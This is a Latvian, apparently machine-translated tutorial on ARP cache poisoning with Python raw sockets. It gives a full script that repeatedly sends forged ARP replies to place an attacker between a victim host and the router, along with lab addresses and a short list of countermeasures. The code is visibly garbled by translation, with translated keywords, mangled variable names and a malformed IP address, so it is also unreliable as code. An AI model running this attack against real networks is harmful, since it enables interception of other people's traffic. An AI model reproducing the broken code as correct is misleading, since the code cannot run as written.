ARP saindēšanās uzbrukums ar neapstrādātām ligzdām Python

Satura rādītājs

Šodien es tevi mācīšu kā īstenot ARP saindēšanās uzbrukumu (Saindēšanās ar ARP kešatmiņu). Par to Python izmantošu neapstrādātas kontaktligzdasmērķis ir redzēt, kā darbojas šāda veida kontaktligzdas, vai uzzināt, kā darbojas šis uzbrukums, vai arī varat veikt pārbaudes savā tīklā (lai gan tīklā jau ir rīki šim nolūkam), nevis tas, ka izmantojat to ļaunprātīgai izmantošanai. mērķiem.

PiezīmeIzmantojot Scapy, jūs varat īstenot šo darbu ātrāk un vieglāk, taču, noskatoties šo pamācību, jūs varēsit izmantot zināšanas, lai izmantotu bibliotēku, un darīt to pats, ja mēs to darītu otrādi, tas jums izmaksātu vairāk. Šeit parādītā metode darbojas tikai Linux sistēmās.

Sīkas detaļas, kas jums jāzina
ARPTas ir adreses izšķirtspējas protokols, kas atrodams tīkla slānī. Tās uzdevums ir atrast MAC adresi (fizisko adresi), kas atbilst noteiktai IP adresei (tīkla adrese).
ARP kešatmiņasKatrai ierīcei ir neliela atmiņa, kurā tā glabā MAC - IP tulkojumus, mēs to izmantosim šajā uzbrukumā. Šī kešatmiņa pastāv, jo tā ļauj izvairīties no papildu tulkošanas pieprasīšanas katru reizi, kad izveidojam savienojumu ar citu ierīci.

ARP protokola darbība Tas ir vienkārši: kad jūs kādam nosūtāt paketi, ierīces kešatmiņa tiks pārbaudīta, ja ir tāds tulkojums, tā paņems paketi, ja nav ARP, tā nosūtīs apraides paketi (tā ir īpaša ir mērķa MAC adrese ff: ff: ff: ff: ff: ff), šī pakete sasniegs visas tīkla ierīces un "jautās", kam ir meklētā IP adrese, katra ierīce, redzot īpašo MAC, lasīs pakete, un tikai tā, kuras adrese Meklētā IP atbildēs, norādot savu MAC, tajā brīdī tā tiks saglabāta kešatmiņā, lai nākamo minūšu laikā nebūtu jājautā vēlreiz.

ARP saindēšanās uzbrukums To izmanto, lai izspiegotu datus, kas iet caur tīklu, vai arī mēs varam tos izmantot, lai dati nesasniegtu galamērķus, uz kuriem tie dodas. Šis uzbrukums sastāv no nepārtrauktas ARP pakešu sūtīšanas tīklam, norādot, ka mūsu MAC atbilst upura IP un ka mūsu MAC ir saistīts ar maršrutētāja IP. Mums ir pastāvīgi jānosūta pakas, jo tas ir dinamisks protokols, tāpēc kešatmiņa mainās, iespējams, ka tulkojums tiek izdzēsts, tas tiek atjaunināts ar reālajiem datiem, tāpēc, lai mēs sūtītu sūtījumus ik pēc maza laika, tie nav ļoti smagi, tāpēc tie parasti nepārslogos tīklu.

PiezīmeARP ir protokols, kas tiek izmantots tikai IPv4, tādēļ šis uzbrukums nav derīgs IPv6, bet saindēšanās uzbrukumu var veikt, izmantojot cita protokola priekšrocības, piemēram, NDP, kas tiek izmantots, lai atklātu "kaimiņus" tīklā .

Lai sāktu mūsu piemēru, mums jāzina upura IP adreses un maršrutētāja vārteja, kā arī tā MAC, jūs varat izmantot nmap, lai atklātu aktīvās ierīces savā tīklā, un MAC var viegli iegūt, piemēram, Mēs vēlamies lai saindētu adreses kešatmiņu 192.168.66.2, kas būs mans upuris (virtuālā mašīna), cmd vai terminālī izpildīšu sekojošo:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C un -n norāda, ka jānosūta tikai viena pakete, katrai operētājsistēmai ir atšķirīgs parametrs. Vēlāk mēs ievietojām:
 arfa
Tas norādīs ARP kešatmiņu, tāpēc mēs varam redzēt mūsu saglabātos tulkojumus (un, iepriekš veicot ping, mums jau ir tulkojums ar upuri). Mums ir jādara tas pats ar maršrutētāja vārteju:

Tālāk es ievietošu visus mums pieejamos datus:

  • Cietušais -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Maršrutētājs -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Mans dators -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Es ievietoju pilnu kodu un paskaidroju to zemāk, tas darbojas Python versijā 2.x, bet ar nelielām izmaiņām varat to pielāgot 3.x versijai:

 importēt ligzdas importēšanas laiku, struktu, binascii savienojums = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kods =" \ x08 \ x06 "commonpackage = macOrigen + kods eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "Operation4 Code =" x0 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.6.2.2.1") + MacVictouterHead = eth1 + MacVictouterCompartida + galvene ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Saindēšanās kešatmiņas… lai apturētu CTRL + C"), kamēr True: connection.send (arpRouter) ar.r ) laiks. miegs (1)
Pirmā lieta, ko mēs darām, ir importēt nepieciešamās bibliotēkas, kurām nav nepieciešami papildu paskaidrojumi. Turpināsim ar šādām rindām:
 savienojums = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
Pirmā rinda izveido kontaktligzdu ar šādām īpašībām:
  • PF_PACKET: Lai sūtītu un saņemtu pakas zemā līmenī.
  • SOCK_RAW: Lai izmantotu neapstrādātas kontaktligzdas.
  • socket.htons (0x0800): 0x0800 definēs ETH_P_IP protokolu, funkcija ntohs pārvērš tīkla formātu par baitiem mūsu datoram atbilstošā formātā (s nozīmē īsu, tas ir, 16 bitu, ja tam būtu l, tas būtu 32 biti).

Un otrais būs atbildīgs par kontaktligzdas ievietošanu "klausīties":

  • ens33: tas ir tīkla interfeiss, kurā mēs strādāsim, jūsu var būt eth0, ja jūs izmantojat ifconfig, jūs to redzēsit (skatiet attēlu zemāk).
  • socket.htons (0x800): tas pats, kas teikts iepriekš.

Tālāk redzamās rindas izveidos Ethernet galvenes, šim nolūkam mēs izveidojam MAC un kodu (tas, ko ievietojām, pieder ARP protokolam), ja vēlaties uzzināt vairāk par Ethernet, noklikšķiniet šeit:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kods = "\ x08 \ x06" commonpackage = macSource + kods eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Nākamā koda daļa apkopo ARP paketes, lai iepazītos ar struktūru, varat apmeklēt šo saiti un doties uz pakotnes struktūras sadaļu. Darbības kods \ x00 \ x02 norāda, ka tā ir atbildes pakete (ja tā būtu 1, tas būtu pieprasījums), un funkcija socket.inet_aton () pārveido IPv4 adresi 32 bitu binārā formātā. Kā redzējāt iepriekšējā kodā un tagad, lai izveidotu paketi, mēs apvienojam tās daļas.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + darbības protokolsProtocolLength + MacOpt. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + koplietota galvene + ipRouter + macVictima + ipVictima arpRouter = eth2 + koplietota galvene + ipVictima + macRouter + ipR
Pēdējā koda daļā tiek parādīts ziņojums, lai uzzinātu, ka tas darbojas, un tiek ievadīta bezgalīga cilpa, kas sūtīs paketes, lai saindētu mūsu upura kešatmiņas un maršrutētāja vārteju, tas tiek darīts katru sekundi kopš miega.
 print ("Saindēšanās kešatmiņas … lai apturētu CTRL + C"), kamēr True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Apskatīsim, kā izskatās programmas izpilde (mums tas ir jādara palaist kā root lietotāju):

Un, ja paskatāmies uz upura kešatmiņu, mēs redzam, ka viņa IP adrese tagad ir saistīta ar uzbrucēja MAC:

Pretpasākumi

  • Izmantot statiskas ARP tabulas, mēs pievienojam ierakstus ar rokām un neļaujam tiem mainīties.
  • Konsultējieties Reversā ARP, šis protokols atgriezīs IP adresi no MAC, tādēļ, ja tas atgriež vairākas IP adreses, iespējams, ka mēs esam viltoti.

Šiem pasākumiem ir nepieciešamas minimālas zināšanas, tāpēc ne visi varēs tos īstenot, taču, iepazīstoties ar mūsu IT drošības jautājumu vai pamācību sadaļu, jūs noteikti atradīsit palīdzību.

Ja vēlaties kodu, šeit ir pasta indekss:

Lejupielādēt kodu ArpPoisoning.zip 579 baiti 116 lejupielādes

Vai jums patika šī apmācība un palīdzējāt tai?Jūs varat apbalvot autoru, nospiežot šo pogu, lai sniegtu viņam pozitīvu punktu
wave wave wave wave wave